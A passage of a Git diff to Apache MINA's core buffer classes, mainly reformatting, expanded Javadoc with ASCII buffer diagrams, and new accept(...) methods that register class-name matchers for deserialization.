@Override - public > EnumSet getEnumSetLong(int index, - Class enumClass) { + public > Set getEnumSetLong(int index, Class enumClass) { return toEnumSet(enumClass, getLong(index)); } @@ -2421,8 +2678,7 @@ private > EnumSet toEnumSet(Class clazz, long vector) { public > IoBuffer putEnumSet(Set set) { long vector = toLong(set); if ((vector & ~BYTE_MASK) != 0) { - throw new IllegalArgumentException( - "The enum set is too large to fit in a byte: " + set); + throw new IllegalArgumentException("The enum set is too large to fit in a byte: " + set); } return put((byte) vector); } @@ -2434,8 +2690,7 @@ public > IoBuffer putEnumSet(Set set) { public > IoBuffer putEnumSet(int index, Set set) { long vector = toLong(set); if ((vector & ~BYTE_MASK) != 0) { - throw new IllegalArgumentException( - "The enum set is too large to fit in a byte: " + set); + throw new IllegalArgumentException("The enum set is too large to fit in a byte: " + set); } return put(index, (byte) vector); } @@ -2447,8 +2702,7 @@ public > IoBuffer putEnumSet(int index, Set set) { public > IoBuffer putEnumSetShort(Set set) { long vector = toLong(set); if ((vector & ~SHORT_MASK) != 0) { - throw new IllegalArgumentException( - "The enum set is too large to fit in a short: " + set); + throw new IllegalArgumentException("The enum set is too large to fit in a short: " + set); } return putShort((short) vector); } @@ -2460,8 +2714,7 @@ public > IoBuffer putEnumSetShort(Set set) { public > IoBuffer putEnumSetShort(int index, Set set) { long vector = toLong(set); if ((vector & ~SHORT_MASK) != 0) { - throw new IllegalArgumentException( - "The enum set is too large to fit in a short: " + set); + throw new IllegalArgumentException("The enum set is too large to fit in a short: " + set); } return putShort(index, (short) vector); } @@ -2473,8 +2726,7 @@ public > IoBuffer putEnumSetShort(int index, Set set) { public > IoBuffer putEnumSetInt(Set set) { long vector = toLong(set); if ((vector & ~INT_MASK) != 0) { - throw new IllegalArgumentException( - "The enum set is too large to fit in an int: " + set); + throw new IllegalArgumentException("The enum set is too large to fit in an int: " + set); } return putInt((int) vector); } @@ -2486,8 +2738,7 @@ public > IoBuffer putEnumSetInt(Set set) { public > IoBuffer putEnumSetInt(int index, Set set) { long vector = toLong(set); if ((vector & ~INT_MASK) != 0) { - throw new IllegalArgumentException( - "The enum set is too large to fit in an int: " + set); + throw new IllegalArgumentException("The enum set is too large to fit in an int: " + set); } return putInt(index, (int) vector); } @@ -2512,9 +2763,7 @@ private > long toLong(Set set) { long vector = 0; for (E e : set) { if (e.ordinal() >= Long.SIZE) { - throw new IllegalArgumentException( - "The enum set is too large to fit in a bit vector: " - + set); + throw new IllegalArgumentException("The enum set is too large to fit in a bit vector: " + set); } vector |= 1L << e.ordinal(); } @@ -2523,7 +2772,7 @@ private > long toLong(Set set) { /** * This method forwards the call to {@link #expand(int)} only when - * autoExpand property is true. + * autoExpand property is true. */ private IoBuffer autoExpand(int expectedRemaining) { if (isAutoExpand()) { @@ -2534,7 +2783,7 @@ private IoBuffer autoExpand(int expectedRemaining) { /** * This method forwards the call to {@link #expand(int)} only when - * autoExpand property is true. + * autoExpand property is true. */ private IoBuffer autoExpand(int pos, int expectedRemaining) { if (isAutoExpand()) { @@ -2545,8 +2794,65 @@ private IoBuffer autoExpand(int pos, int expectedRemaining) { private static void checkFieldSize(int fieldSize) { if (fieldSize < 0) { - throw new IllegalArgumentException("fieldSize cannot be negative: " - + fieldSize); + throw new IllegalArgumentException("fieldSize cannot be negative: " + fieldSize); + } + } + + /** + * Accept the specified classes for deserialization, unless they + * are otherwise rejected. + * + * @param classes Classes to accept + * @return this object + */ + public IoBuffer accept(Class... classes) { + for (Class clazz:classes) { + acceptMatchers.add(new FullClassNameMatcher(clazz.getName())); + } + + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer accept(ClassNameMatcher m) { + acceptMatchers.add(m); + + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer accept(Pattern pattern) { + acceptMatchers.add(new RegexpClassNameMatcher(pattern)); + + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer accept(String... patterns) { + for (String pattern:patterns) { + acceptMatchers.add(new WildcardClassNameMatcher(pattern)); + } + + return this; + } + + /** + * {@inheritDoc} + */ + public void setMatchers(List matchers) { + acceptMatchers.clear(); + + for (ClassNameMatcher matcher:matchers) { + acceptMatchers.add(matcher); } } } diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/BufferDataException.java b/mina-core/src/main/java/org/apache/mina/core/buffer/BufferDataException.java index 93f9c62fb4..07ea6149df 100644 --- a/mina-core/src/main/java/org/apache/mina/core/buffer/BufferDataException.java +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/BufferDataException.java @@ -29,18 +29,36 @@ public class BufferDataException extends RuntimeException { private static final long serialVersionUID = -4138189188602563502L; + /** + * Create a new BufferDataException instance + */ public BufferDataException() { super(); } + /** + * Create a new BufferDataException instance + * + * @param message The exception message + */ public BufferDataException(String message) { super(message); } + /** + * Create a new BufferDataException instance + * + * @param message The exception message + * @param cause The original cause + */ public BufferDataException(String message, Throwable cause) { super(message, cause); } + /** + * Create a new BufferDataException instance + * @param cause The original cause + */ public BufferDataException(Throwable cause) { super(cause); } diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/CachedBufferAllocator.java b/mina-core/src/main/java/org/apache/mina/core/buffer/CachedBufferAllocator.java index a00d835d15..233575bb9d 100644 --- a/mina-core/src/main/java/org/apache/mina/core/buffer/CachedBufferAllocator.java +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/CachedBufferAllocator.java @@ -60,14 +60,17 @@ public class CachedBufferAllocator implements IoBufferAllocator { private static final int DEFAULT_MAX_POOL_SIZE = 8; + private static final int DEFAULT_MAX_CACHED_BUFFER_SIZE = 1 << 18; // 256KB - + private final int maxPoolSize; + private final int maxCachedBufferSize; private final ThreadLocal>> heapBuffers; + private final ThreadLocal>> directBuffers; - + /** * Creates a new instance with the default parameters * ({@literal #DEFAULT_MAX_POOL_SIZE} and {@literal #DEFAULT_MAX_CACHED_BUFFER_SIZE}). @@ -75,35 +78,35 @@ public class CachedBufferAllocator implements IoBufferAllocator { public CachedBufferAllocator() { this(DEFAULT_MAX_POOL_SIZE, DEFAULT_MAX_CACHED_BUFFER_SIZE); } - + /** * Creates a new instance. * * @param maxPoolSize the maximum number of buffers with the same capacity per thread. - * 0 disables this limitation. + * 0 disables this limitation. * @param maxCachedBufferSize the maximum capacity of a cached buffer. * A buffer whose capacity is bigger than this value is - * not pooled. 0 disables this limitation. + * not pooled. 0 disables this limitation. */ public CachedBufferAllocator(int maxPoolSize, int maxCachedBufferSize) { if (maxPoolSize < 0) { throw new IllegalArgumentException("maxPoolSize: " + maxPoolSize); } - + if (maxCachedBufferSize < 0) { throw new IllegalArgumentException("maxCachedBufferSize: " + maxCachedBufferSize); } - + this.maxPoolSize = maxPoolSize; this.maxCachedBufferSize = maxCachedBufferSize; - + this.heapBuffers = new ThreadLocal>>() { @Override protected Map> initialValue() { return newPoolMap(); } }; - + this.directBuffers = new ThreadLocal>>() { @Override protected Map> initialValue() { @@ -111,18 +114,18 @@ protected Map> initialValue() { } }; } - + /** - * Returns the maximum number of buffers with the same capacity per thread. - * 0 means 'no limitation'. + * @return the maximum number of buffers with the same capacity per thread. + * 0 means 'no limitation'. */ public int getMaxPoolSize() { return maxPoolSize; } /** - * Returns the maximum capacity of a cached buffer. A buffer whose - * capacity is bigger than this value is not pooled. 0 means + * @return the maximum capacity of a cached buffer. A buffer whose + * capacity is bigger than this value is not pooled. 0 means * 'no limitation'. */ public int getMaxCachedBufferSize() { @@ -130,24 +133,26 @@ public int getMaxCachedBufferSize() { } Map> newPoolMap() { - Map> poolMap = - new HashMap>(); - int poolSize = maxPoolSize == 0? DEFAULT_MAX_POOL_SIZE : maxPoolSize; - - for (int i = 0; i < 31; i ++) { - poolMap.put(1 << i, new ConcurrentLinkedQueue()); + Map> poolMap = new HashMap<>(); + + for (int i = 0; i < 31; i++) { + poolMap.put(1 << i, new ConcurrentLinkedQueue<>()); } - - poolMap.put(0, new ConcurrentLinkedQueue()); - poolMap.put(Integer.MAX_VALUE, new ConcurrentLinkedQueue()); - + + poolMap.put(0, new ConcurrentLinkedQueue<>()); + poolMap.put(Integer.MAX_VALUE, new ConcurrentLinkedQueue<>()); + return poolMap; } + /** + * {@inheritDoc} + */ + @Override public IoBuffer allocate(int requestedCapacity, boolean direct) { int actualCapacity = IoBuffer.normalizeCapacity(requestedCapacity); - IoBuffer buf ; - + IoBuffer buf; + if ((maxCachedBufferSize != 0) && (actualCapacity > maxCachedBufferSize)) { if (direct) { buf = wrap(ByteBuffer.allocateDirect(actualCapacity)); @@ -156,16 +161,16 @@ public IoBuffer allocate(int requestedCapacity, boolean direct) { } } else { Queue pool; - + if (direct) { pool = directBuffers.get().get(actualCapacity); } else { pool = heapBuffers.get().get(actualCapacity); } - + // Recycle if possible. buf = pool.poll(); - + if (buf != null) { buf.clear(); buf.setAutoExpand(false); @@ -178,25 +183,38 @@ public IoBuffer allocate(int requestedCapacity, boolean direct) { } } } - + buf.limit(requestedCapacity); return buf; } - + + /** + * {@inheritDoc} + */ + @Override public ByteBuffer allocateNioBuffer(int capacity, boolean direct) { return allocate(capacity, direct).buf(); } - + + /** + * {@inheritDoc} + */ + @Override public IoBuffer wrap(ByteBuffer nioBuffer) { return new CachedBuffer(nioBuffer); } + /** + * {@inheritDoc} + */ + @Override public void dispose() { // Do nothing } - + private class CachedBuffer extends AbstractIoBuffer { private final Thread ownerThread; + private ByteBuffer buf; protected CachedBuffer(ByteBuffer buf) { @@ -205,7 +223,7 @@ protected CachedBuffer(ByteBuffer buf) { this.buf = buf; buf.order(ByteOrder.BIG_ENDIAN); } - + protected CachedBuffer(CachedBuffer parent, ByteBuffer buf) { super(parent); this.ownerThread = Thread.currentThread(); @@ -219,7 +237,7 @@ public ByteBuffer buf() { } return buf; } - + @Override protected void buf(ByteBuffer buf) { ByteBuffer oldBuf = this.buf; @@ -262,25 +280,22 @@ public void free() { free(buf); buf = null; } - + private void free(ByteBuffer oldBuf) { - if ((oldBuf == null) || - ((maxCachedBufferSize != 0 ) && (oldBuf.capacity() > maxCachedBufferSize)) || - oldBuf.isReadOnly() || - isDerived() || - (Thread.currentThread() != ownerThread)) { + if ((oldBuf == null) || ((maxCachedBufferSize != 0) && (oldBuf.capacity() > maxCachedBufferSize)) + || oldBuf.isReadOnly() || isDerived() || (Thread.currentThread() != ownerThread)) { return; } // Add to the cache. Queue pool; - + if (oldBuf.isDirect()) { pool = directBuffers.get().get(oldBuf.capacity()); } else { pool = heapBuffers.get().get(oldBuf.capacity()); } - + if (pool == null) { return; } diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java index a764df5cbb..cde15f9d81 100644 --- a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java @@ -30,14 +30,16 @@ import java.nio.FloatBuffer; import java.nio.IntBuffer; import java.nio.LongBuffer; -import java.nio.ReadOnlyBufferException; import java.nio.ShortBuffer; import java.nio.charset.CharacterCodingException; import java.nio.charset.CharsetDecoder; import java.nio.charset.CharsetEncoder; import java.util.EnumSet; +import java.util.List; import java.util.Set; +import java.util.regex.Pattern; +import org.apache.mina.core.buffer.matcher.ClassNameMatcher; import org.apache.mina.core.session.IoSession; /** @@ -49,9 +51,9 @@ *
    *
  • It doesn't provide useful getters and putters such as fill, * get/putString, and get/putAsciiInt() enough.
  • - *
  • It is difficult to write variable-length data due to its fixed capacity
  • + *
  • It is difficult to write variable-length data due to its fixed + * capacity
  • *
- *

* *

Allocation

*

@@ -61,7 +63,7 @@ * IoBuffer buf = IoBuffer.allocate(1024, false); * * - * you can also allocate a new direct buffer: + * You can also allocate a new direct buffer: * *

  * IoBuffer buf = IoBuffer.allocate(1024, true);
@@ -72,25 +74,24 @@
  * 
  * // Allocate heap buffer by default.
  * IoBuffer.setUseDirectBuffer(false);
+ * 
  * // A new heap buffer is returned.
  * IoBuffer buf = IoBuffer.allocate(1024);
  * 
* - *

- * *

Wrapping existing NIO buffers and arrays

*

- * This class provides a few wrap(...) methods that wraps any NIO + * This class provides a few wrap(...) methods that wraps any NIO * buffers and byte arrays. * *

AutoExpand

*

- * Writing variable-length data using NIO ByteBuffers is not really - * easy, and it is because its size is fixed. {@link IoBuffer} introduces - * autoExpand property. If autoExpand property is true, you - * never get {@link BufferOverflowException} or + * Writing variable-length data using NIO ByteBuffers is not really + * easy, and it is because its size is fixed at allocation. {@link IoBuffer} + * introduces the autoExpand property. If autoExpand property + * is set to true, you never get a {@link BufferOverflowException} or an * {@link IndexOutOfBoundsException} (except when index is negative). It - * automatically expands its capacity and limit value. For example: + * automatically expands its capacity. For instance: * *

  * String greeting = messageBundle.getMessage("hello");
@@ -104,40 +105,39 @@
  * the scene if the encoded data is larger than 16 bytes in the example above.
  * Its capacity will double, and its limit will increase to the last position
  * the string is written.
- * 

* *

AutoShrink

*

* You might also want to decrease the capacity of the buffer when most of the * allocated memory area is not being used. {@link IoBuffer} provides - * autoShrink property to take care of this issue. If - * autoShrink is turned on, {@link IoBuffer} halves the capacity of the + * autoShrink property to take care of this issue. If + * autoShrink is turned on, {@link IoBuffer} halves the capacity of the * buffer when {@link #compact()} is invoked and only 1/4 or less of the current * capacity is being used. *

- * You can also {@link #shrink()} method manually to shrink the capacity of the - * buffer. + * You can also call the {@link #shrink()} method manually to shrink the + * capacity of the buffer. *

- * The underlying {@link ByteBuffer} is reallocated by {@link IoBuffer} behind - * the scene, and therefore {@link #buf()} will return a different - * {@link ByteBuffer} instance once capacity changes. Please also note - * {@link #compact()} or {@link #shrink()} will not decrease the capacity if the - * new capacity is less than the {@link #minimumCapacity()} of the buffer. + * The underlying {@link ByteBuffer} is reallocated by the {@link IoBuffer} + * behind the scene, and therefore {@link #buf()} will return a different + * {@link ByteBuffer} instance once capacity changes. Please also note that the + * {@link #compact()} method or the {@link #shrink()} method will not decrease + * the capacity if the new capacity is less than the {@link #minimumCapacity()} + * of the buffer. * *

Derived Buffers

*

- * Derived buffers are the buffers which were created by {@link #duplicate()}, - * {@link #slice()}, or {@link #asReadOnlyBuffer()}. They are useful especially - * when you broadcast the same messages to multiple {@link IoSession}s. Please - * note that the buffer derived from and its derived buffers are not both - * auto-expandable neither auto-shrinkable. Trying to call + * Derived buffers are the buffers which were created by the + * {@link #duplicate()}, {@link #slice()}, or {@link #asReadOnlyBuffer()} + * methods. They are useful especially when you broadcast the same messages to + * multiple {@link IoSession}s. Please note that the buffer derived from and its + * derived buffers are not auto-expandable nor auto-shrinkable. Trying to call * {@link #setAutoExpand(boolean)} or {@link #setAutoShrink(boolean)} with - * true parameter will raise an {@link IllegalStateException}. - *

+ * true parameter will raise an {@link java.lang.IllegalStateException}. * *

Changing Buffer Allocation Policy

*

- * {@link IoBufferAllocator} interface lets you override the default buffer + * The {@link IoBufferAllocator} interface lets you override the default buffer * management behavior. There are two allocators provided out-of-the-box: *

    *
  • {@link SimpleBufferAllocator} (default)
  • @@ -145,7 +145,6 @@ *
* You can implement your own allocator and use it by calling * {@link #setAllocator(IoBufferAllocator)}. - *

* * @author Apache MINA Project */ @@ -157,7 +156,15 @@ public abstract class IoBuffer implements Comparable { private static boolean useDirectBuffer = false; /** - * Returns the allocator used by existing and new buffers + * Creates a new instance. This is an empty constructor. It's protected, to + * forbid its usage by the users. + */ + protected IoBuffer() { + // Do nothing + } + + /** + * @return the allocator used by existing and new buffers */ public static IoBufferAllocator getAllocator() { return allocator; @@ -165,6 +172,8 @@ public static IoBufferAllocator getAllocator() { /** * Sets the allocator used by existing and new buffers + * + * @param newAllocator the new allocator to use */ public static void setAllocator(IoBufferAllocator newAllocator) { if (newAllocator == null) { @@ -181,17 +190,19 @@ public static void setAllocator(IoBufferAllocator newAllocator) { } /** - * Returns true if and only if a direct buffer is allocated by - * default when the type of the new buffer is not specified. The default - * value is false. + * @return true if and only if a direct buffer is allocated by default + * when the type of the new buffer is not specified. The default value + * is false. */ public static boolean isUseDirectBuffer() { return useDirectBuffer; } /** - * Sets if a direct buffer should be allocated by default when the type of - * the new buffer is not specified. The default value is false. + * Sets if a direct buffer should be allocated by default when the type of the + * new buffer is not specified. The default value is false. + * + * @param useDirectBuffer Tells if direct buffers should be allocated */ public static void setUseDirectBuffer(boolean useDirectBuffer) { IoBuffer.useDirectBuffer = useDirectBuffer; @@ -201,8 +212,8 @@ public static void setUseDirectBuffer(boolean useDirectBuffer) { * Returns the direct or heap buffer which is capable to store the specified * amount of bytes. * - * @param capacity - * the capacity of the buffer + * @param capacity the capacity of the buffer + * @return a IoBuffer which can hold up to capacity bytes * * @see #setUseDirectBuffer(boolean) */ @@ -211,48 +222,67 @@ public static IoBuffer allocate(int capacity) { } /** - * Returns the buffer which is capable of the specified size. + * Returns a direct or heap IoBuffer which can contain the specified number of + * bytes. * - * @param capacity - * the capacity of the buffer - * @param direct - * true to get a direct buffer, false to get a - * heap buffer. + * @param capacity the capacity of the buffer + * @param useDirectBuffer true to get a direct buffer, false + * to get a heap buffer. + * @return a direct or heap IoBuffer which can hold up to capacity bytes */ - public static IoBuffer allocate(int capacity, boolean direct) { + public static IoBuffer allocate(int capacity, boolean useDirectBuffer) { if (capacity < 0) { throw new IllegalArgumentException("capacity: " + capacity); } - return allocator.allocate(capacity, direct); + return allocator.allocate(capacity, useDirectBuffer); } /** - * Wraps the specified NIO {@link ByteBuffer} into MINA buffer. + * Wraps the specified NIO {@link ByteBuffer} into a MINA buffer (either direct + * or heap). + * + * @param nioBuffer The {@link ByteBuffer} to wrap + * @return a IoBuffer containing the bytes stored in the {@link ByteBuffer} */ public static IoBuffer wrap(ByteBuffer nioBuffer) { return allocator.wrap(nioBuffer); } /** - * Wraps the specified byte array into MINA heap buffer. + * Wraps the specified byte array into a MINA heap buffer. Note that the byte + * array is not copied, so any modification done on it will be visible by both + * sides. + * + * @param byteArray The byte array to wrap + * @return a heap IoBuffer containing the byte array */ public static IoBuffer wrap(byte[] byteArray) { return wrap(ByteBuffer.wrap(byteArray)); } /** - * Wraps the specified byte array into MINA heap buffer. + * Wraps the specified byte array into MINA heap buffer. We just wrap the bytes + * starting from offset up to offset + length. Note that the byte array is not + * copied, so any modification done on it will be visible by both sides. + * + * @param byteArray The byte array to wrap + * @param offset The starting point in the byte array + * @param length The number of bytes to store + * @return a heap IoBuffer containing the selected part of the byte array */ public static IoBuffer wrap(byte[] byteArray, int offset, int length) { return wrap(ByteBuffer.wrap(byteArray, offset, length)); } /** - * Normalizes the specified capacity of the buffer to power of 2, which is - * often helpful for optimal memory usage and performance. If it is greater - * than or equal to {@link Integer#MAX_VALUE}, it returns - * {@link Integer#MAX_VALUE}. If it is zero, it returns zero. + * Normalizes the specified capacity of the buffer to power of 2, which is often + * helpful for optimal memory usage and performance. If it is greater than or + * equal to {@link Integer#MAX_VALUE}, it returns {@link Integer#MAX_VALUE}. If + * it is zero, it returns zero. + * + * @param requestedCapacity The IoBuffer capacity we want to be able to store + * @return The power of 2 strictly superior to the requested capacity */ protected static int normalizeCapacity(int requestedCapacity) { if (requestedCapacity < 0) { @@ -261,377 +291,733 @@ protected static int normalizeCapacity(int requestedCapacity) { int newCapacity = Integer.highestOneBit(requestedCapacity); newCapacity <<= (newCapacity < requestedCapacity ? 1 : 0); - return newCapacity < 0 ? Integer.MAX_VALUE : newCapacity; - } - /** - * Creates a new instance. This is an empty constructor. - */ - protected IoBuffer() { - // Do nothing + return newCapacity < 0 ? Integer.MAX_VALUE : newCapacity; } /** - * Declares this buffer and all its derived buffers are not used anymore so - * that it can be reused by some {@link IoBufferAllocator} implementations. - * It is not mandatory to call this method, but you might want to invoke - * this method for maximum performance. + * Declares this buffer and all its derived buffers are not used anymore so that + * it can be reused by some {@link IoBufferAllocator} implementations. It is not + * mandatory to call this method, but you might want to invoke this method for + * maximum performance. */ public abstract void free(); /** - * Returns the underlying NIO buffer instance. + * @return the underlying NIO {@link ByteBuffer} instance. */ public abstract ByteBuffer buf(); /** * @see ByteBuffer#isDirect() + * + * @return True if this is a direct buffer */ public abstract boolean isDirect(); /** - * returns true if and only if this buffer is derived from other - * buffer via {@link #duplicate()}, {@link #slice()} or - * {@link #asReadOnlyBuffer()}. + * @return true if and only if this buffer is derived from another + * buffer via one of the {@link #duplicate()}, {@link #slice()} or + * {@link #asReadOnlyBuffer()} methods. */ public abstract boolean isDerived(); /** * @see ByteBuffer#isReadOnly() + * + * @return true if the buffer is readOnly */ public abstract boolean isReadOnly(); /** - * Returns the minimum capacity of this buffer which is used to determine - * the new capacity of the buffer shrunk by {@link #compact()} and - * {@link #shrink()} operation. The default value is the initial capacity of - * the buffer. + * @return the minimum capacity of this buffer which is used to determine the + * new capacity of the buffer shrunk by the {@link #compact()} and + * {@link #shrink()} operation. The default value is the initial + * capacity of the buffer. */ public abstract int minimumCapacity(); /** - * Sets the minimum capacity of this buffer which is used to determine the - * new capacity of the buffer shrunk by {@link #compact()} and - * {@link #shrink()} operation. The default value is the initial capacity of - * the buffer. + * Sets the minimum capacity of this buffer which is used to determine the new + * capacity of the buffer shrunk by {@link #compact()} and {@link #shrink()} + * operation. The default value is the initial capacity of the buffer. + * + * @param minimumCapacity the wanted minimum capacity + * @return the underlying NIO {@link ByteBuffer} instance. */ public abstract IoBuffer minimumCapacity(int minimumCapacity); /** * @see ByteBuffer#capacity() + * + * @return the buffer capacity */ public abstract int capacity(); /** - * Increases the capacity of this buffer. If the new capacity is less than - * or equal to the current capacity, this method returns silently. If the - * new capacity is greater than the current capacity, the buffer is - * reallocated while retaining the position, limit, mark and the content of - * the buffer. + * Increases the capacity of this buffer. If the new capacity is less than or + * equal to the current capacity, this method returns the original buffer. If + * the new capacity is greater than the current capacity, the buffer is + * reallocated while retaining the position, limit, mark and the content of the + * buffer.
+ * Note that the IoBuffer is replaced, it's not copied.
+ * Assuming a buffer contains N bytes, its position is 0 and its current + * capacity is C, here are the resulting buffer if we set the new capacity to a + * value V < C and V > C : + * + *
+     *  Initial buffer :
+     *   
+     *   0       L          C
+     *  +--------+----------+
+     *  |XXXXXXXX|          |
+     *  +--------+----------+
+     *   ^       ^          ^
+     *   |       |          |
+     *  pos    limit     capacity
+     *  
+     * V <= C :
+     * 
+     *   0       L          C
+     *  +--------+----------+
+     *  |XXXXXXXX|          |
+     *  +--------+----------+
+     *   ^       ^          ^
+     *   |       |          |
+     *  pos    limit   newCapacity
+     *  
+     * V > C :
+     * 
+     *   0       L          C            V
+     *  +--------+-----------------------+
+     *  |XXXXXXXX|          :            |
+     *  +--------+-----------------------+
+     *   ^       ^          ^            ^
+     *   |       |          |            |
+     *  pos    limit   oldCapacity  newCapacity
+     *  
+     *  The buffer has been increased.
+     * 
+     * 
+ * + * @param newCapacity the wanted capacity + * @return the underlying NIO {@link ByteBuffer} instance. */ public abstract IoBuffer capacity(int newCapacity); /** - * Returns true if and only if autoExpand is turned on. + * @return true if and only if autoExpand is turned on. */ public abstract boolean isAutoExpand(); /** - * Turns on or off autoExpand. + * Turns on or off autoExpand. + * + * @param autoExpand The flag value to set + * @return The modified IoBuffer instance */ public abstract IoBuffer setAutoExpand(boolean autoExpand); /** - * Returns true if and only if autoShrink is turned on. + * @return true if and only if autoShrink is turned on. */ public abstract boolean isAutoShrink(); /** - * Turns on or off autoShrink. + * Turns on or off autoShrink. + * + * @param autoShrink The flag value to set + * @return The modified IoBuffer instance */ public abstract IoBuffer setAutoShrink(boolean autoShrink); /** * Changes the capacity and limit of this buffer so this buffer get the - * specified expectedRemaining room from the current position. This - * method works even if you didn't set autoExpand to true. + * specified expectedRemaining room from the current position. This + * method works even if you didn't set autoExpand to true. + *
+ * Assuming a buffer contains N bytes, its position is P and its current + * capacity is C, here are the resulting buffer if we call the expand method + * with a expectedRemaining value V : + * + *
+     *  Initial buffer :
+     *   
+     *   0       L          C
+     *  +--------+----------+
+     *  |XXXXXXXX|          |
+     *  +--------+----------+
+     *   ^       ^          ^
+     *   |       |          |
+     *  pos    limit     capacity
+     *  
+     * ( pos + V )  <= L, no change :
+     * 
+     *   0       L          C
+     *  +--------+----------+
+     *  |XXXXXXXX|          |
+     *  +--------+----------+
+     *   ^       ^          ^
+     *   |       |          |
+     *  pos    limit   newCapacity
+     *  
+     * You can still put ( L - pos ) bytes in the buffer
+     *  
+     * ( pos + V ) > L & ( pos + V ) <= C :
+     * 
+     *  0        L          C
+     *  +------------+------+
+     *  |XXXXXXXX:...|      |
+     *  +------------+------+
+     *   ^           ^      ^
+     *   |           |      |
+     *  pos       newlimit  newCapacity
+     *  
+     *  You can now put ( L - pos + V )  bytes in the buffer.
+     *  
+     *  
+     *  ( pos + V ) > C
+     * 
+     *   0       L          C
+     *  +-------------------+----+
+     *  |XXXXXXXX:..........:....|
+     *  +------------------------+
+     *   ^                       ^
+     *   |                       |
+     *  pos                      +-- newlimit
+     *                           |
+     *                           +-- newCapacity
+     *                           
+     * You can now put ( L - pos + V ) bytes in the buffer, which limit is now
+     * equals to the capacity.
+     * 
+ * + * Note that the expecting remaining bytes starts at the current position. In + * all those examples, the position is 0. + * + * @param expectedRemaining The expected remaining bytes in the buffer + * @return The modified IoBuffer instance */ public abstract IoBuffer expand(int expectedRemaining); /** * Changes the capacity and limit of this buffer so this buffer get the - * specified expectedRemaining room from the specified - * position. This method works even if you didn't set - * autoExpand to true. + * specified expectedRemaining room from the specified + * position. This method works even if you didn't set + * autoExpand to true. Assuming a buffer contains N bytes, its + * position is P and its current capacity is C, here are the resulting buffer if + * we call the expand method with a expectedRemaining value V : + * + *
+     *  Initial buffer :
+     *   
+     *      P    L          C
+     *  +--------+----------+
+     *  |XXXXXXXX|          |
+     *  +--------+----------+
+     *      ^    ^          ^
+     *      |    |          |
+     *     pos limit     capacity
+     *  
+     * ( pos + V )  <= L, no change :
+     * 
+     *      P    L          C
+     *  +--------+----------+
+     *  |XXXXXXXX|          |
+     *  +--------+----------+
+     *      ^    ^          ^
+     *      |    |          |
+     *     pos limit   newCapacity
+     *  
+     * You can still put ( L - pos ) bytes in the buffer
+     *  
+     * ( pos + V ) > L & ( pos + V ) <= C :
+     * 
+     *      P    L          C
+     *  +------------+------+
+     *  |XXXXXXXX:...|      |
+     *  +------------+------+
+     *      ^        ^      ^
+     *      |        |      |
+     *     pos    newlimit  newCapacity
+     *  
+     *  You can now put ( L - pos + V)  bytes in the buffer.
+     *  
+     *  
+     *  ( pos + V ) > C
+     * 
+     *      P       L          C
+     *  +-------------------+----+
+     *  |XXXXXXXX:..........:....|
+     *  +------------------------+
+     *      ^                    ^
+     *      |                    |
+     *     pos                   +-- newlimit
+     *                           |
+     *                           +-- newCapacity
+     *                           
+     * You can now put ( L - pos + V ) bytes in the buffer, which limit is now
+     * equals to the capacity.
+     * 
+ * + * Note that the expecting remaining bytes starts at the current position. In + * all those examples, the position is P. + * + * @param position The starting position from which we want to define a + * remaining number of bytes + * @param expectedRemaining The expected remaining bytes in the buffer + * @return The modified IoBuffer instance */ public abstract IoBuffer expand(int position, int expectedRemaining); /** - * Changes the capacity of this buffer so this buffer occupies as less - * memory as possible while retaining the position, limit and the buffer - * content between the position and limit. The capacity of the buffer never - * becomes less than {@link #minimumCapacity()}. The mark is discarded once - * the capacity changes. + * Changes the capacity of this buffer so this buffer occupies as less memory as + * possible while retaining the position, limit and the buffer content between + * the position and limit.
+ * The capacity of the buffer never becomes less than + * {@link #minimumCapacity()}
+ * . The mark is discarded once the capacity changes.
+ * Typically, a call to this method tries to remove as much unused bytes as + * possible, dividing by two the initial capacity until it can't without + * obtaining a new capacity lower than the {@link #minimumCapacity()}. For + * instance, if the limit is 7 and the capacity is 36, with a minimum capacity + * of 8, shrinking the buffer will left a capacity of 9 (we go down from 36 to + * 18, then from 18 to 9). + * + *
+     *  Initial buffer :
+     *   
+     *  +--------+----------+
+     *  |XXXXXXXX|          |
+     *  +--------+----------+
+     *      ^    ^  ^       ^
+     *      |    |  |       |
+     *     pos   |  |    capacity
+     *           |  |
+     *           |  +-- minimumCapacity
+     *           |
+     *           +-- limit
+     * 
+     * Resulting buffer :
+     * 
+     *  +--------+--+-+
+     *  |XXXXXXXX|  | |
+     *  +--------+--+-+
+     *      ^    ^  ^ ^
+     *      |    |  | |
+     *      |    |  | +-- new capacity
+     *      |    |  |
+     *     pos   |  +-- minimum capacity
+     *           |
+     *           +-- limit
+     * 
+ * + * @return The modified IoBuffer instance */ public abstract IoBuffer shrink(); /** * @see java.nio.Buffer#position() + * @return The current position in the buffer */ public abstract int position(); /** * @see java.nio.Buffer#position(int) + * + * @param newPosition Sets the new position in the buffer + * @return the modified IoBuffer + * */ public abstract IoBuffer position(int newPosition); /** * @see java.nio.Buffer#limit() + * + * @return the modified IoBuffer 's limit */ public abstract int limit(); /** * @see java.nio.Buffer#limit(int) + * + * @param newLimit The new buffer's limit + * @return the modified IoBuffer + * */ public abstract IoBuffer limit(int newLimit); /** * @see java.nio.Buffer#mark() + * + * @return the modified IoBuffer + * */ public abstract IoBuffer mark(); /** - * Returns the position of the current mark. This method returns -1 - * if no mark is set. + * @return the position of the current mark. This method returns -1 if + * no mark is set. */ public abstract int markValue(); /** * @see java.nio.Buffer#reset() + * + * @return the modified IoBuffer + * */ public abstract IoBuffer reset(); /** * @see java.nio.Buffer#clear() + * + * @return the modified IoBuffer + * */ public abstract IoBuffer clear(); /** - * Clears this buffer and fills its content with NUL. The position - * is set to zero, the limit is set to the capacity, and the mark is - * discarded. + * Clears this buffer and fills its content with NUL. The position is + * set to zero, the limit is set to the capacity, and the mark is discarded. + * + * @return the modified IoBuffer + * */ public abstract IoBuffer sweep(); /** - * double Clears this buffer and fills its content with value. The - * position is set to zero, the limit is set to the capacity, and the mark - * is 